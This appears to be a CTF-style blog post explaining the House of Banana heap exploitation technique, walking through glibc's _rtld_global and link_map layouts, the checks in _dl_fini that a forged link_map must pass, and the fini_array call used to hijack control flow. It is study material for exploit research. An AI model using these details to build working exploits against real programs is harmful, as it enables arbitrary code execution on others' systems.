TL;DR
The House of Banana attack is an exploitation technique used to hijack control flow by manipulating structures in the dynamic linker (ld.so
), published by the author Ha1vk. Specifically, it targets the _rtld_global
structure, which maintains important information about loaded shared objects (such as libraries) in the link_map
structures.
Admittedly, this attack is more complex compared to I/O exploitation techniques like House of Apple and House of Emma. The trigger mirrors that of House of Apple, relying on the exit
function or a quit mechanism from the main
function. However, it shares a key advantage: it only requires a single Largebin-attack primitive (or any primitive that allows us to write an address into an arbitrary target pointer/address) to complete the exploit. Despite this similarity, the complexity is significantly higher.
In many cases, we could opt for House of Apple or other I/O exploitation techniques to achieve the same result. However, House of Banana serves as an excellent case study for heap exploitation, particularly when certain I/O operations are restricted.
Note: I will be posting detailed structures relevant to this attack in this blog post, focusing on _rtld_global
and exploiting the dynamic linker (ld.so
). Feel free to share your thoughts or point out any mistakes I might have made—your feedback is more than welcome.
BACKGROUND
Before diving into the exploitation of ld.so
, let's first explore the concept of namespace in Linux systems.
In the dynamic linker, namespaces provide isolated environments for symbol resolution, allowing different libraries or processes to maintain their own separate space. This isolation prevents symbol conflicts, enabling shared objects with identical names to coexist within the same program without interference.
For this purpose, The _rtld_global
structure and its components play a crucial role in managing the complex process of loading and linking shared libraries. It is responsible for:
- Managing namespaces
- Resolving symbols
- Supporting debugging.
This structure ensures that shared objects, such as libraries, are correctly loaded into the memory space of a running program. For instance, the libc_map
entry within _rtld_global
ensures that libc.so
is properly shared and referenced across namespaces, allowing essential functions like memory management and input/output to be linked correctly.
STRUCT | rtld_global
Structure
The _rtld_global
structure in ld.so
(the dynamic linker/loader for Linux) is a critical internal data structure that governs key aspects of dynamic linking and symbol resolution. It handles the management of loaded shared libraries, their interrelationships, and the process of linking symbols between them.
This structure, defined in the GLIBC source code, is highly complex and fundamental to the efficient operation of dynamic linking in Linux:
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */
/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;
/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;
/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;
/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
...
};
In GDB, we can examine an example of the _rtld_global
structure, which is incredibly large and complex:
pwndbg> p _rtld_global
$1 = {
_dl_ns = {{
_ns_loaded = 0x7ffff7ffe2e0,
_ns_nloaded = 4,
_ns_main_searchlist = 0x7ffff7ffe5a0,
_ns_global_scope_alloc = 0,
_ns_global_scope_pending_adds = 0,
libc_map = 0x7ffff7fbb160,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
},
entries = 0x0,
size = 0,
n_elements = 0,
free = 0x0
},
_ns_debug = {
base = {
r_version = 0,
r_map = 0x0,
r_brk = 0,
r_state = RT_CONSISTENT,
r_ldbase = 0
},
r_next = 0x0
}
}, {
_ns_loaded = 0x0,
_ns_nloaded = 0,
_ns_main_searchlist = 0x0,
_ns_global_scope_alloc = 0,
_ns_global_scope_pending_adds = 0,
libc_map = 0x0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 0,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 39 times>,
__align = 0
}
},
entries = 0x0,
size = 0,
n_elements = 0,
free = 0x0
},
_ns_debug = {
base = {
r_version = 0,
r_map = 0x0,
r_brk = 0,
r_state = RT_CONSISTENT,
r_ldbase = 0
},
r_next = 0x0
}
} <repeats 15 times>},
_dl_nns = 1,
_dl_load_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
},
_dl_load_write_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
},
_dl_load_tls_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
},
_dl_load_adds = 4,
_dl_initfirst = 0x0,
_dl_profile_map = 0x0,
_dl_num_relocations = 102,
_dl_num_cache_relocations = 3,
_dl_all_dirs = 0x7ffff7fbb000,
_dl_rtld_map = {
l_addr = 140737353887744,
l_name = 0x555555554318 "/lib64/ld-linux-x86-64.so.2",
l_ld = 0x7ffff7ffce80,
l_next = 0x0,
l_prev = 0x7ffff7fbb160,
l_real = 0x7ffff7ffdaf0 <_rtld_global+2736>,
l_ns = 0,
l_libname = 0x7ffff7ffe280 <_dl_rtld_libname>,
l_info = {0x0, 0x0, 0x7ffff7ffcf00, 0x7ffff7ffcef0, 0x7ffff7ffce90, 0x7ffff7ffceb0, 0x7ffff7ffcec0, 0x7ffff7ffcf30, 0x7ffff7ffcf40, 0x7ffff7ffcf50, 0x7ffff7ffced0, 0x7ffff7ffcee0, 0x0, 0x0, 0x7ffff7ffce80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcf10, 0x0, 0x0, 0x7ffff7ffcf20, 0x0 <repeats 13 times>, 0x7ffff7ffcf70, 0x7ffff7ffcf60, 0x0, 0x0, 0x7ffff7ffcf90, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcf80, 0x0 <repeats 25 times>, 0x7ffff7ffcea0},
l_phdr = 0x7ffff7fc3040,
l_entry = 0,
l_phnum = 11,
l_ldnum = 0,
l_searchlist = {
r_list = 0x0,
r_nlist = 0
},
l_symbolic_searchlist = {
r_list = 0x0,
r_nlist = 0
},
l_loader = 0x0,
l_versions = 0x7ffff7fbbb60,
l_nversions = 8,
l_nbuckets = 37,
l_gnu_bitmask_idxbits = 3,
l_gnu_shift = 8,
l_gnu_bitmask = 0x7ffff7fc3440,
{
l_gnu_buckets = 0x7ffff7fc3460,
l_chain = 0x7ffff7fc3460
},
{
l_gnu_chain_zero = 0x7ffff7fc34f0,
l_buckets = 0x7ffff7fc34f0
},
l_direct_opencount = 0,
l_type = lt_library,
l_relocated = 1,
l_init_called = 1,
l_global = 1,
l_reserved = 0,
l_main_map = 0,
l_visited = 1,
l_map_used = 0,
l_map_done = 0,
l_phdr_allocated = 0,
l_soname_added = 0,
l_faked = 0,
l_need_tls_init = 0,
l_auditing = 0,
l_audit_any_plt = 0,
l_removed = 0,
l_contiguous = 0,
l_symbolic_in_local_scope = 0,
l_free_initfini = 0,
l_ld_readonly = 0,
l_find_object_processed = 0,
l_nodelete_active = false,
l_nodelete_pending = false,
l_property = lc_property_unknown,
l_x86_feature_1_and = 0,
l_x86_isa_1_needed = 0,
l_1_needed = 0,
l_rpath_dirs = {
dirs = 0x0,
malloced = 0
},
l_reloc_result = 0x0,
l_versyms = 0x7ffff7fc3c12,
l_origin = 0x0,
l_map_start = 140737353887744,
l_map_end = 140737354130136,
l_text_end = 140737354064661,
l_scope_mem = {0x0, 0x0, 0x0, 0x0},
l_scope_max = 0,
l_scope = 0x0,
l_local_scope = {0x0, 0x0},
l_file_id = {
dev = 0,
ino = 0
},
l_runpath_dirs = {
dirs = 0x0,
malloced = 0
},
l_initfini = 0x0,
l_reldeps = 0x0,
l_reldepsmax = 0,
l_used = 1,
l_feature_1 = 0,
l_flags_1 = 0,
l_flags = 0,
l_idx = 0,
l_mach = {
plt = 0,
gotplt = 0,
tlsdesc_table = 0x0
},
l_lookup_cache = {
sym = 0x7ffff7fc38d8,
type_class = 1,
value = 0x7ffff7fbb160,
ret = 0x7ffff7d8ae60
},
l_tls_initimage = 0x0,
l_tls_initimage_size = 0,
l_tls_blocksize = 0,
l_tls_align = 0,
l_tls_firstbyte_offset = 0,
l_tls_offset = 0,
l_tls_modid = 0,
l_tls_dtor_count = 0,
l_relro_addr = 230944,
l_relro_size = 6624,
l_serial = 0
},
_dl_rtld_auditstate = {{
cookie = 0,
bindflags = 0
} <repeats 16 times>},
_dl_x86_feature_1 = 0,
_dl_x86_feature_control = {
ibt = cet_elf_property,
shstk = cet_elf_property
},
_dl_stack_flags = 6,
_dl_tls_dtv_gaps = false,
_dl_tls_max_dtv_idx = 1,
_dl_tls_dtv_slotinfo_list = 0x7ffff7fbbc20,
_dl_tls_static_nelem = 1,
_dl_tls_static_used = 144,
_dl_tls_static_optional = 512,
_dl_initial_dtv = 0x7ffff7d81160,
_dl_tls_generation = 1,
_dl_scope_free_list = 0x0,
_dl_stack_used = {
next = 0x7ffff7ffe0c8 <_rtld_global+4232>,
prev = 0x7ffff7ffe0c8 <_rtld_global+4232>
},
_dl_stack_user = {
next = 0x7ffff7d80a00,
prev = 0x7ffff7d80a00
},
_dl_stack_cache = {
next = 0x7ffff7ffe0e8 <_rtld_global+4264>,
prev = 0x7ffff7ffe0e8 <_rtld_global+4264>
},
_dl_stack_cache_actsize = 0,
_dl_in_flight_stack = 0,
_dl_stack_cache_lock = 0
}
Here are the offset details for the _rtld_global
structure, which highlight the various fields and their roles within the dynamic linking process:
/* offset | size */ type = struct rtld_global {
/* 0x0000 | 0x0a00 */ struct link_namespaces _dl_ns[16];
/* 0x0a00 | 0x0008 */ size_t _dl_nns;
/* 0x0a08 | 0x0028 */ __rtld_lock_recursive_t _dl_load_lock;
/* 0x0a30 | 0x0028 */ __rtld_lock_recursive_t _dl_load_write_lock;
/* 0x0a58 | 0x0028 */ __rtld_lock_recursive_t _dl_load_tls_lock;
/* 0x0a80 | 0x0008 */ unsigned long long _dl_load_adds;
/* 0x0a88 | 0x0008 */ struct link_map *_dl_initfirst;
/* 0x0a90 | 0x0008 */ struct link_map *_dl_profile_map;
/* 0x0a98 | 0x0008 */ unsigned long _dl_num_relocations;
/* 0x0aa0 | 0x0008 */ unsigned long _dl_num_cache_relocations;
/* 0x0aa8 | 0x0008 */ struct r_search_path_elem *_dl_all_dirs;
/* 0x0ab0 | 0x0488 */ struct link_map {
/* 0x0ab0 | 0x0008 */ Elf64_Addr l_addr;
/* 0x0ab8 | 0x0008 */ char *l_name;
/* 0x0ac0 | 0x0008 */ Elf64_Dyn *l_ld;
/* 0x0ac8 | 0x0008 */ struct link_map *l_next;
/* 0x0ad0 | 0x0008 */ struct link_map *l_prev;
/* 0x0ad8 | 0x0008 */ struct link_map *l_real;
/* 0x0ae0 | 0x0008 */ Lmid_t l_ns;
/* 0x0ae8 | 0x0008 */ struct libname_list *l_libname;
/* 0x0af0 | 0x0268 */ Elf64_Dyn *l_info[77];
/* 0x0d58 | 0x0008 */ const Elf64_Phdr *l_phdr;
/* 0x0d60 | 0x0008 */ Elf64_Addr l_entry;
/* 0x0d68 | 0x0002 */ Elf64_Half l_phnum;
/* 0x0d6a | 0x0002 */ Elf64_Half l_ldnum;
/* XXX 0x4-byte hole */
/* 0x0d6c | 0x0010 */ struct r_scope_elem {
/* 0x0d6c | 0x0008 */ struct link_map **r_list;
/* 0x0d74 | 0x0004 */ unsigned int r_nlist;
/* XXX 0x4-byte padding */
/* total size (bytes): 0x0010 */
} l_searchlist;
/* 0x0d7c | 0x0010 */ struct r_scope_elem {
/* 0x0d7c | 0x0008 */ struct link_map **r_list;
/* 0x0d84 | 0x0004 */ unsigned int r_nlist;
/* XXX 0x4-byte padding */
/* total size (bytes): 0x0010 */
} l_symbolic_searchlist;
/* 0x0d94 | 0x0008 */ struct link_map *l_loader;
/* 0x0d9c | 0x0008 */ struct r_found_version *l_versions;
/* 0x0da4 | 0x0004 */ unsigned int l_nversions;
/* 0x0da8 | 0x0004 */ Elf_Symndx l_nbuckets;
/* 0x0dac | 0x0004 */ Elf32_Word l_gnu_bitmask_idxbits;
/* 0x0db0 | 0x0004 */ Elf32_Word l_gnu_shift;
/* 0x0db4 | 0x0008 */ const Elf64_Addr *l_gnu_bitmask;
/* 0x0dbc | 0x0008 */ union {
/* 0x0008 */ const Elf32_Word *l_gnu_buckets;
/* 0x0008 */ const Elf_Symndx *l_chain;
/* total size (bytes): 0x0008 */
};
/* 0x0dc4 | 0x0008 */ union {
/* 0x0008 */ const Elf32_Word *l_gnu_chain_zero;
/* 0x0008 */ const Elf_Symndx *l_buckets;
/* total size (bytes): 0x0008 */
};
/* 0x0dcc | 0x0004 */ unsigned int l_direct_opencount;
/* 0x0dd0: 0 | 0x0004 */ enum {lt_executable, lt_library, lt_loaded} l_type : 2;
/* 0x0dd0: 2 | 0x0004 */ unsigned int l_relocated : 1;
/* 0x0dd0: 3 | 0x0004 */ unsigned int l_init_called : 1;
/* 0x0dd0: 4 | 0x0004 */ unsigned int l_global : 1;
/* 0x0dd0: 5 | 0x0004 */ unsigned int l_reserved : 2;
/* 0x0dd0: 7 | 0x0004 */ unsigned int l_main_map : 1;
/* 0x0dd1: 0 | 0x0004 */ unsigned int l_visited : 1;
/* 0x0dd1: 1 | 0x0004 */ unsigned int l_map_used : 1;
/* 0x0dd1: 2 | 0x0004 */ unsigned int l_map_done : 1;
/* 0x0dd1: 3 | 0x0004 */ unsigned int l_phdr_allocated : 1;
/* 0x0dd1: 4 | 0x0004 */ unsigned int l_soname_added : 1;
/* 0x0dd1: 5 | 0x0004 */ unsigned int l_faked : 1;
/* 0x0dd1: 6 | 0x0004 */ unsigned int l_need_tls_init : 1;
/* 0x0dd1: 7 | 0x0004 */ unsigned int l_auditing : 1;
/* 0x0dd2: 0 | 0x0004 */ unsigned int l_audit_any_plt : 1;
/* 0x0dd2: 1 | 0x0004 */ unsigned int l_removed : 1;
/* 0x0dd2: 2 | 0x0004 */ unsigned int l_contiguous : 1;
/* 0x0dd2: 3 | 0x0004 */ unsigned int l_symbolic_in_local_scope : 1;
/* 0x0dd2: 4 | 0x0004 */ unsigned int l_free_initfini : 1;
/* 0x0dd2: 5 | 0x0004 */ unsigned int l_ld_readonly : 1;
/* 0x0dd2: 6 | 0x0004 */ unsigned int l_find_object_processed : 1;
/* XXX 0x1-bit hole */
/* 0x0dd3 | 0x0001 */ _Bool l_nodelete_active;
/* 0x0dd4 | 0x0001 */ _Bool l_nodelete_pending;
/* 0x0dd5: 0 | 0x0004 */ enum {lc_property_unknown, lc_property_none, lc_property_valid} l_property : 2;
/* XXX 0x6-bit hole */
/* XXX 0x2-byte hole */
/* 0x0dd8 | 0x0004 */ unsigned int l_x86_feature_1_and;
/* 0x0ddc | 0x0004 */ unsigned int l_x86_isa_1
Key Components
- Namespaces (
_dl_ns
):- The
_dl_ns
array is a key element of thertld_global
structure. It allows for managing different "link namespaces", which are essentially independent environments where shared libraries are loaded and symbols are resolved. - For most processes, there is only one namespace (
DL_NNS
is 1 in non-shared environments). In shared environments, there can be multiple namespaces (e.g., fordlmopen
).
_dl_ns
) contains:- _ns_loaded: A pointer to the
link_map
for the main loaded object. Thelink_map
contains metadata for shared libraries. - _ns_nloaded: Number of objects in the loaded list. This must be NOT less than 4 to bypass security check.
- _ns_main_searchlist: A pointer to the search list for the main object.
- libc_map: Once
libc.so
is loaded, this points to itslink_map
. It helps in managing libc globally in the process.
- The
_dl_nns
:- This variable tracks how many namespaces are currently in use. It is "one higher than the index of the last used namespace."
- Unique Symbol Table (
_ns_unique_sym_table
):- This part of the structure is used to ensure that each shared library has unique symbols.
- It contains:
- lock: A recursive lock to ensure thread-safety while accessing this table.
- entries: An array of symbols (
unique_sym
), which contains information like:hashval
: A hash value of the symbol’s name (used for fast lookup).name
: The name of the symbol.sym
: A pointer to the actual ELF symbol.map
: Thelink_map
entry of the shared object containing the symbol.
- size: The size of the unique symbol table.
- n_elements: The number of elements currently in the table.
- free: A function pointer used for freeing memory in this structure.
- r_debug (
_ns_debug
):- This structure is used for debugging the linking process. It helps in tracking changes made to the list of loaded objects in each namespace.
- This structure is crucial for tools like
gdb
to track which shared libraries have been loaded or unloaded dynamically.
Other Components
Other Notable Elements in _rtld_global
:
_dl_load_lock
: Ensures synchronization when loading shared objects._dl_rtld_lock
: A lock to synchronize operations in the dynamic linker._dl_initfirst
: This tracks the first object to be initialized during dynamic linking._dl_load_adds
: Keeps track of objects being loaded to prevent duplicate additions during recursivedlopen
calls.
Life Cycle
The _rtld_global
structure enables the dynamic linker to efficiently manage shared libraries throughout their lifecycle. It keeps track of:
- The list of loaded shared objects.
- Symbol resolution for different namespaces.
- The state of the dynamic linking process for debugging purposes.
This structure plays a critical role in the entire lifecycle of shared objects, from loading them into memory (dlopen
), resolving their symbols, to unloading them (dlclose
).
ATTACK
In the above code snippet, we can observe two key elements: link_map
and fini_array
.
The link_map
structure and the handling of the fini_array
section are critical for understanding how the dynamic linker (ld.so
) handles finalization functions registered in shared objects (DSOs). These finalization functions are executed when a shared object is unloaded or when the program terminates. The key in House of Banana is exploiting the fini_array
to achieve arbitrary code execution, potentially by overwriting it with an evil gadget/function pointer.
link_map
Structure: Thelink_map
structure represents the dynamic linker’s metadata for each shared object loaded into the process’s address space. It contains information such as:- The base address where the object is loaded (
l_addr
). - Pointers to the dynamic sections of the ELF file (
l_info[]
), which includes pointers to theDT_INIT
,DT_FINI
,DT_FINI_ARRAY
, and other dynamic sections.
- The base address where the object is loaded (
- The
fini_array
Section:- The
fini_array
section (DT_FINI_ARRAY
) is an array of function pointers that are registered to be called when a shared object (DSO) is unloaded, or when the program terminates.
- The
Struct | link_map
/* offset | size */ type = struct link_map {
/* 0x0000 | 0x0008 */ Elf64_Addr l_addr;
/* 0x0008 | 0x0008 */ char *l_name;
/* 0x0010 | 0x0008 */ Elf64_Dyn *l_ld;
/* 0x0018 | 0x0008 */ struct link_map *l_next;
/* 0x0020 | 0x0008 */ struct link_map *l_prev;
/* 0x0028 | 0x0008 */ struct link_map *l_real;
/* 0x0030 | 0x0008 */ Lmid_t l_ns;
/* 0x0038 | 0x0008 */ struct libname_list *l_libname;
/* 0x0040 | 0x0268 */ Elf64_Dyn *l_info[77];
/* 0x06A8 | 0x0008 */ const Elf64_Phdr *l_phdr;
/* 0x06B0 | 0x0008 */ Elf64_Addr l_entry;
/* 0x06B8 | 0x0002 */ Elf64_Half l_phnum;
/* 0x06BA | 0x0002 */ Elf64_Half l_ldnum;
/* XXX 0x4-byte hole */
/* 0x06C0 | 0x0010 */ struct r_scope_elem {
/* 0x06C0 | 0x0008 */ struct link_map **r_list;
/* 0x06C8 | 0x0004 */ unsigned int r_nlist;
/* XXX 0x4-byte padding */
/* total size (bytes): 0x10 */
} l_searchlist;
/* 0x06D0 | 0x0010 */ struct r_scope_elem {
/* 0x06D0 | 0x0008 */ struct link_map **r_list;
/* 0x06D8 | 0x0004 */ unsigned int r_nlist;
/* XXX 0x4-byte padding */
/* total size (bytes): 0x10 */
} l_symbolic_searchlist;
/* 0x06E0 | 0x0008 */ struct link_map *l_loader;
/* 0x06E8 | 0x0008 */ struct r_found_version *l_versions;
/* 0x06F0 | 0x0004 */ unsigned int l_nversions;
/* 0x06F4 | 0x0004 */ Elf_Symndx l_nbuckets;
/* 0x06F8 | 0x0004 */ Elf32_Word l_gnu_bitmask_idxbits;
/* 0x06FC | 0x0004 */ Elf32_Word l_gnu_shift;
/* 0x0700 | 0x0008 */ const Elf64_Addr *l_gnu_bitmask;
/* 0x0708 | 0x0008 */ union {
/* 0x0008 */ const Elf32_Word *l_gnu_buckets;
/* 0x0008 */ const Elf_Symndx *l_chain;
/* total size (bytes): 0x08 */
};
/* 0x0710 | 0x0008 */ union {
/* 0x0008 */ const Elf32_Word *l_gnu_chain_zero;
/* 0x0008 */ const Elf_Symndx *l_buckets;
/* total size (bytes): 0x08 */
};
/* 0x0718 | 0x0004 */ unsigned int l_direct_opencount;
/* 0x071C: 0 | 0x0004 */ enum {lt_executable, lt_library, lt_loaded} l_type : 2;
/* 0x071C: 2 | 0x0004 */ unsigned int l_relocated : 1;
/* 0x071C: 3 | 0x0004 */ unsigned int l_init_called : 1;
/* 0x071C: 4 | 0x0004 */ unsigned int l_global : 1;
/* 0x071C: 5 | 0x0004 */ unsigned int l_reserved : 2;
/* 0x071C: 7 | 0x0004 */ unsigned int l_main_map : 1;
/* 0x071D: 0 | 0x0004 */ unsigned int l_visited : 1;
/* 0x071D: 1 | 0x0004 */ unsigned int l_map_used : 1;
/* 0x071D: 2 | 0x0004 */ unsigned int l_map_done : 1;
/* 0x071D: 3 | 0x0004 */ unsigned int l_phdr_allocated : 1;
/* 0x071D: 4 | 0x0004 */ unsigned int l_soname_added : 1;
/* 0x071D: 5 | 0x0004 */ unsigned int l_faked : 1;
/* 0x071D: 6 | 0x0004 */ unsigned int l_need_tls_init : 1;
/* 0x071D: 7 | 0x0004 */ unsigned int l_auditing : 1;
/* 0x071E: 0 | 0x0004 */ unsigned int l_audit_any_plt : 1;
/* 0x071E: 1 | 0x0004 */ unsigned int l_removed : 1;
/* 0x071E: 2 | 0x0004 */ unsigned int l_contiguous : 1;
/* 0x071E: 3 | 0x0004 */ unsigned int l_symbolic_in_local_scope : 1;
/* 0x071E: 4 | 0x0004 */ unsigned int l_free_initfini : 1;
/* 0x071E: 5 | 0x0004 */ unsigned int l_ld_readonly : 1;
/* 0x071E: 6 | 0x0004 */ unsigned int l_find_object_processed : 1;
/* XXX 0x1-bit hole */
/* 0x071F | 0x0001 */ _Bool l_nodelete_active;
/* 0x0720 | 0x0001 */ _Bool l_nodelete_pending;
/* 0x0721: 0 | 0x0004 */ enum {lc_property_unknown, lc_property_none, lc_property_valid} l_property : 2;
/* XXX 0x6-bit hole */
/* XXX 0x2-byte hole */
/* 0x0724 | 0x0004 */ unsigned int l_x86_feature_1_and;
/* 0x0728 | 0x0004 */ unsigned int l_x86_isa_1_needed;
/* 0x072C | 0x0004 */ unsigned int l_1_needed;
/* 0x0730 | 0x0010 */ struct r_search_path_struct {
/* 0x0730 | 0x0008 */ struct r_search_path_elem **dirs;
/* 0x0738 | 0x0004 */ int malloced;
/* XXX 0x4-byte padding */
/* total size (bytes): 0x10 */
} l_rpath_dirs;
/* 0x0740 | 0x0008 */ struct reloc_result *l_reloc_result;
/* 0x0748 | 0x0008 */ Elf64_Versym *l_versyms;
/* 0x0750 | 0x0008 */ const char *l_origin;
/* 0x0758 | 0x0008 */ Elf64_Addr l_map_start;
/* 0x0760 | 0x0008 */ Elf64_Addr l_map_end;
/* 0x0768 | 0x0008 */ Elf64_Addr l_text_end;
/* 0x0770 | 0x0020 */ struct r_scope_elem *l_scope_mem[4];
/* 0x0790 | 0x0008 */ size_t l_scope_max;
/* 0x0798 | 0x0008 */ struct r_scope_elem **l_scope;
/* 0x07A0 | 0x0010 */ struct r_scope
This is the target structure we need to FAKE.
### Function | _dl_fini
Source Code
When function _dl_fini
is called, it executes these function pointers from the array—it handles the finalization of shared objects and iterates over the loaded shared objects (represented by the link_map
structure) and calls their destructors:
void
_dl_fini (void)
{
...
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real) // Security check
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
__rtld_lock_unlock_recursive (GL(dl_load_lock));
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; // Enumerate link_map
if (l->l_init_called) // Important check
{
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); // Hijack point!
}
...
}
- Building the List of Loaded Objects (
maps
Array):- The code constructs a list of loaded objects (
maps[]
) by traversing thelink_map
chain (GL(dl_ns)[ns]._ns_loaded
). It checks that thel_real
pointer matches the object itself (l == l->l_real
), ensuring that it works with the real object, not an alias or duplicate. - It ensures that the objects won’t be unloaded during this process by incrementing the
l_direct_opencount
.
- The code constructs a list of loaded objects (
- Sorting the Objects:
- The objects are sorted by dependency order using
_dl_sort_maps()
to ensure that the destructors (fini
functions) are called in the proper order, respecting the dependency between shared objects.
- The objects are sorted by dependency order using
- Executing the
fini
Functions:- The key section of the code starts here: it checks whether the
fini_array
orfini
function pointers are present in thelink_map
structure. If so, these functions are executed to perform cleanup before the shared object is unloaded. - The code checks
l->l_info[DT_FINI_ARRAY]
, which contains the address of thefini_array
. It then iterates through the array and calls each function pointer in reverse order:((fini_t) array[i])();
. - This is the line that can be exploited. If we can control the contents of the
fini_array
, we can potentially place an evil gadget/function pointer to be executed at program termination.
- The key section of the code starts here: it checks whether the
Assembly
Assembler dump in GDB:
pwndbg> disassemble _dl_fini
Dump of assembler code for function _dl_fini:
=> 0x00007ffff7fc9040 <+0>: endbr64
0x00007ffff7fc9044 <+4>: push rbp
0x00007ffff7fc9045 <+5>: mov rbp,rsp
0x00007ffff7fc9048 <+8>: push r15
0x00007ffff7fc904a <+10>: push r14
0x00007ffff7fc904c <+12>: push r13
0x00007ffff7fc904e <+14>: push r12
0x00007ffff7fc9050 <+16>: push rbx
0x00007ffff7fc9051 <+17>: sub rsp,0x38
0x00007ffff7fc9055 <+21>: mov r12,QWORD PTR [rip+0x349e4] # 0x7ffff7ffda40 <_rtld_global+2560>
0x00007ffff7fc905c <+28>: sub r12,0x1
0x00007ffff7fc9060 <+32>: js 0x7ffff7fc9301 <_dl_fini+705>
0x00007ffff7fc9066 <+38>: mov DWORD PTR [rbp-0x44],0x0
0x00007ffff7fc906d <+45>: lea r13,[rip+0x349d4] # 0x7ffff7ffda48 <_rtld_global+2568>
0x00007ffff7fc9074 <+52>: lea rbx,[r12+r12*4]
0x00007ffff7fc9078 <+56>: lea rax,[rip+0x33fc1] # 0x7ffff7ffd040 <_rtld_global>
0x00007ffff7fc907f <+63>: shl rbx,0x5
0x00007ffff7fc9083 <+67>: add rbx,rax
0x00007ffff7fc9086 <+70>: jmp 0x7ffff7fc90ae <_dl_fini+110>
0x00007ffff7fc9088 <+72>: nop DWORD PTR [rax+rax*1+0x0]
0x00007ffff7fc9090 <+80>: mov rdi,r13
0x00007ffff7fc9093 <+83>: call QWORD PTR [rip+0x339df] # 0x7ffff7ffca78 <___rtld_mutex_unlock>
0x00007ffff7fc9099 <+89>: sub r12,0x1
0x00007ffff7fc909d <+93>: sub rbx,0xa0
0x00007ffff7fc90a4 <+100>: cmp r12,0xffffffffffffffff
0x00007ffff7fc90a8 <+104>: je 0x7ffff7fc92f0 <_dl_fini+688>
0x00007ffff7fc90ae <+110>: mov rdi,r13
0x00007ffff7fc90b1 <+113>: call QWORD PTR [rip+0x339c9] # 0x7ffff7ffca80 <___rtld_mutex_lock>
0x00007ffff7fc90b7 <+119>: mov r15d,DWORD PTR [rbx+0x8]
0x00007ffff7fc90bb <+123>: test r15d,r15d
0x00007ffff7fc90be <+126>: je 0x7ffff7fc9090 <_dl_fini+80>
0x00007ffff7fc90c0 <+128>: mov rax,QWORD PTR [rbx]
0x00007ffff7fc90c3 <+131>: movzx eax,BYTE PTR [rax+0x31d]
0x00007ffff7fc90ca <+138>: shr al,0x7
0x00007ffff7fc90cd <+141>: movzx eax,al
0x00007ffff7fc90d0 <+144>: cmp eax,DWORD PTR [rbp-0x44]
0x00007ffff7fc90d3 <+147>: jne 0x7ffff7fc9090 <_dl_fini+80>
